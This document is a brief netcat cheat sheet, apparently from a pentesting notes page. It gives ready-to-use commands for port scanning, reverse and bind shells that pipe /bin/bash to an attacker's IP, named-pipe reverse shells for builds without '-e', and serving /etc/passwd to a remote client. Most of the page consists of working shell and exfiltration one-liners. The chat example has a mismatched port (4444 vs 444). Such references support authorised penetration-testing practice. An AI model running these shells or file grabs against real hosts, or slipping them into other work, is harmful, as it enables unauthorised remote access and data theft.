Skip to content

Netcat

Netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP.

port scan


netcat -nvz 10.0.0.1 80
netcat -nvz 10.0.0.1 1-1000

reverse shell


ATTACKER (set up a listener)

netcat -lvnp 4444
TARGET
netcat 10.18.9.175 4444 -e /bin/bash

bind shell


TARGET (Using nc to set up a listener)

netcat -lvnp 4444 -e /bin/bash
ATTACKER
netcat -nv 10.10.99.99 4444

expecting file


Receiver (set up a listener)

nc -lvp 4444 > incoming_payload.txt
Sender
nc -nv 10.0.2.5 4444 < payload.txt
# nc -w3 10.0.2.5 4444 < payload.txt

exposing file


Server (set up a listener)

nc -lvp 4444 < /etc/passwd
Client
nc -nv 10.0.2.5 4444 > file_etc_passwd.txt
# nc -w3 10.0.2.5 4444 > file_etc_passwd.txt

chat


netcat -nlvp 4444
netcat -nv 127.0.0.1 444

without -e


ATTACKER
nc -nvlp 4444

TARGET
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 10.18.9.175 4444 1>/tmp/backpipe

or

TARGET
mknod /tmp/backpipe p
/bin/bash 0</tmp/backpipe | netcat 10.18.9.175 4444 1>/tmp/backpipe